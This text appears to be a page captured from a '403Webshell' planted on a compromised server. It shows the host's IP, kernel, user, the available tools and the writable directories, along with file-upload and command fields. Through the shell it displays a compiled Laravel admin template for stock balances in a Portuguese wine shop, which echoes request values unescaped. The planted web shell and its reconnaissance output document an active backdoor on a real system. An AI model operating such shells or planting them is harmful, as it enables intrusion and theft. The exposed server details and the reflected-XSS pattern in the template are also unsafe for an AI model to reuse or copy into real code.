403Webshell
Server IP : 54.94.228.101  /  Your IP : 172.28.1.13
Web Server : Apache
System : Linux ip-172-28-29-189 6.5.0-1014-aws #14~22.04.1-Ubuntu SMP Thu Feb 15 15:27:06 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.2.34-43+ubuntu22.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/vinumday2_0/storage/framework/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/vinumday2_0/storage/framework/views/ee86287ddf07ee3341ef5b8ad6298f633f193322.php
<?php $__env->startSection('content'); ?>

<!-- Content Wrapper. Contains page content -->
<div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <section class="content-header">
        <h1>
            Estoque
            <small>Atualização Saldos</small>
        </h1>
        <ol class="breadcrumb">
            <li><a href="<?php echo e(url('admin')); ?>"><i class="fa fa-dashboard"></i> Dashboard</a></li>
            <li class="active">Estoque/Atualização Saldos</li>
        </ol>
    </section>

    <!-- Main content -->
    <section class="content">
        <div class="row">
            <div class="col-xs-12">

                <div class="box">
                    <div class="box-header no-print">
                        <h4>Filtros</h4>
                        <form method="GET" action="<?php echo url('admin/estoque/atualizacao-saldos'); ?>">
                            <div class="row">
                                <div class="col-md-3">
                                    <div class="row">
                                        <div class="col-md-12">
                                            <h5>Produto/SKU:</h5>
                                            <input type="text" value="<?php echo (isset($produto)) ? $produto : ''; ?>" class="form-control" name="produto">
                                        </div>
                                    </div>
                                </div>
                                <div class="col-md-3">
                                    <div class="row">
                                        <div class="col-md-6">
                                            <h5>Data inicial (<span class="small">última atualização</span>):</h5>
                                            <input type="date" value="<?php echo (isset($data_inicial)) ? $data_inicial : ''; ?>" class="form-control" name="data_inicial">
                                        </div>
                                        <div class="col-md-6">
                                            <h5>Data final (<span class="small">última atualização</span>):</h5>
                                            <input type="date" value="<?php echo (isset($data_final)) ? $data_final : ''; ?>" class="form-control" name="data_final">
                                        </div>
                                    </div>
                                </div>
                                <div class="col-md-2">
                                    <div class="row">
                                        <div class="col-md-12">
                                            <h5>Disponibilidade mínima:</h5>
                                            <input type="text" value="<?php echo (isset($disponibilidade)) ? $disponibilidade : ''; ?>" class="form-control" name="disponibilidade">
                                        </div>
                                    </div>
                                </div>
                                <div class="col-md-2">
                                    <div class="row">
                                        <div class="col-md-12">
                                            <h5>Disponibilidade máxima:</h5>
                                            <input type="text" value="<?php echo (isset($disponibilidade_maxima)) ? $disponibilidade_maxima : ''; ?>" class="form-control" name="disponibilidade_maxima">
                                        </div>
                                    </div>
                                </div>
                                <div class="col-md-2">
                                    <div class="row">
                                        <div class="col-md-12">
                                            <button type="submit" class="btn btn-block btn-primary" style="margin-top:35px;">Filtrar</button>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </form>
                    </div>
                    <!-- /.box-header -->
                    <div class="box-body relatorio-saldos">
                        <h5>Número de Registros: <?php echo count($produtos); ?></h5>
                        <?php if(count($produtos) > 0): ?>
                            <p><a type="button" id="btn-atualiza-saldos" class="btn btn-primary"><i class="fa fa-fw fa-sync"></i> Atualizar Saldos Selecionados</a></p>
                        <?php endif; ?>
                        <table class="table table-bordered table-striped">
                        <thead>
                            <tr>
                                <th class="no-sort"><input type="checkbox" name="selecionar_todos"/></th>
                                <th>ID</th>
                                <th>SKU</th>
                                <th>Produto</th>
                                <th>Última atualização</th>
                                <?php foreach ($empresas as $empresa): ?>
                                    <th>Saldo <?php echo $empresa->sigla; ?></th>
                                <?php endforeach;?>
                                <th>Estoque</th>
                                <th>Adega</th>
                                <th>Em processamento</th>
                                <th>Disponibilidade</th>
                                <th class="th-action">Ações</th>
                            </tr>
                        </thead>
                        <tbody>
                            <?php foreach ($produtos as $produto): ?>
                            <?php $estoque = $produto->estoque; ?>
                            <tr>
                                <td class="no-sort"><input type="checkbox" name="item_produto[]" value="<?php echo $produto->id; ?>"/></td>
                                <td><?php echo $produto->id; ?></td>
                                <td><?php echo $produto->sku; ?></td>
                                <td>
                                    <a href="<?php echo e(url('/admin/produto?term=' . $produto->nome)); ?>" target="_blank">
                                        <?php echo $produto->nome; ?>
                                    </a>
                                </td>
                                <td><span id="ultima_atualizacao_<?php echo $produto->id; ?>"><?php echo (!empty($produto->ultima_atualizacao_saldo) ? date('d/m/Y H:i', strtotime($produto->ultima_atualizacao_saldo)) : ''); ?></span></td>
                                <?php foreach ($empresas as $empresa): ?>
                                    <td>
                                        <?php echo isset($estoque['saldos'][$empresa->sigla]) ? $estoque['saldos'][$empresa->sigla] : 0; ?>
                                    </td>
                                <?php endforeach;?>
                                <td><?php echo $estoque['estoque']; ?></td>
                                <td><?php echo $estoque['adega']; ?></td>
                                <td><?php echo $estoque['em_processamento']; ?></td>
                                <td><?php echo $estoque['disponibilidade']; ?></td>
                                <td>
                                    <a data-id="<?php echo $produto->id; ?>" href="javascript:void(0)" class="btn btn-primary btn-atualiza-saldo"><i class="fa fa-fw fa-sync"></i> Atualizar saldos</a>
                                </td>
                            </tr>
                            <?php endforeach;?>
                        </tbody>
                        </table>
                    </div>
                    <!-- /.box-body -->
                    <div class="box-footer">
                        
                    </div>
                </div>
                <!-- /.box -->
            </div>
            <!-- /.col -->
        </div>
        <!-- /.row -->
    </section>
    <!-- /.content -->
</div>
<!-- /.content-wrapper -->
<script type="text/javascript">

    $('[name="selecionar_todos"]').click(function(){
        if($(this).is(':checked')){
            $('[name="item_produto[]"]').prop('checked', true);
        }else{
            $('[name="item_produto[]"]').prop('checked', false);
        }
    });

    $(document).ready(function(){
        
        $('.select2').select2();

        $('#btn-atualiza-saldos').click(function(e){
            if(!confirm('Você tem certeza?')){
                e.preventDefault();
            }else{
                var produtos_selecionados = [];
                $('[name="item_produto[]"]:checked').each(function(){
                    produtos_selecionados.push($(this).val());
                });

                if(produtos_selecionados.length > 0){
                    $.ajax({
                        url:'/admin/produto/atualizar-saldos',
                        type:'POST',
                        data:{
                            ids_produto:produtos_selecionados
                        },
                        beforeSend:function(){
                            $('.carregando').fadeIn();
                        },
                        success:function(data){

                            if (data.status) {

                                alertUtil.alertSuccess(data.message);
                                setTimeout(function(){
                                    window.location.href = window.location.href;
                                }, 1500);

                            }else{

                                if(data.errors && data.errors.length > 0){
                                    var message = '';
                                    $.each(data.errors, function( index, error ) {
                                      message += 'Produto: ' + error.produto_id + ' - Empresa: ' + error.empresa_id + ' (' + error.message + ')';
                                      if(index < data.errors.length - 1){
                                        message += '<br>';
                                      }
                                    });
                                    alertUtil.alertWarning(message);
                                }else{
                                    alertUtil.alertError(data.message);
                                }

                            }
                            $('.carregando').fadeOut();
                        }
                    });
                }else{
                    alertUtil.alertError('Você deve selecionar ao menos um produto');
                }
                
            }
        });

        $('.btn-atualiza-saldo').click(function(e){
            var self       = this;
            var produto_id = $(this).data('id');
            $.ajax({
                url: '/admin/produto/atualizar-saldo-produto',
                type: 'POST',
                data: {produto_id: produto_id},
                beforeSend:function(){
                    $('.carregando').fadeIn();
                },
                success:function(data){
                    $('.carregando').fadeOut();
                    $('#ultima_atualizacao_' + produto_id).text(data.produto.ultima_atualizacao);
                    console.log(data.produto.ultima_atualizacao);
                    if (data.status) {
                        alertUtil.alertSuccess(data.message);
                    }else{
                        if(data.errors && data.errors.length > 0){
                            var message = '';
                            $.each(data.errors, function( index, error ) {
                              message += 'Produto: ' + error.produto_id + ' - Empresa: ' + error.empresa_id + ' (' + error.message + ')';
                              if(index < data.errors.length - 1){
                                // message += ' - ';
                                message += '<br>';
                              }
                            });
                            alertUtil.alertWarning(message);
                        }else{
                            alertUtil.alertError(data.message);
                        }
                    }
                },
                error:function(){
                    $('.carregando').fadeOut();
                    alertUtil.alertError('Erro durante atualização saldo!');
                }
            });
        });

    });
</script>
<?php $__env->stopSection(); ?>

<?php echo $__env->make($current_template, array_except(get_defined_vars(), array('__data', '__path')))->render(); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit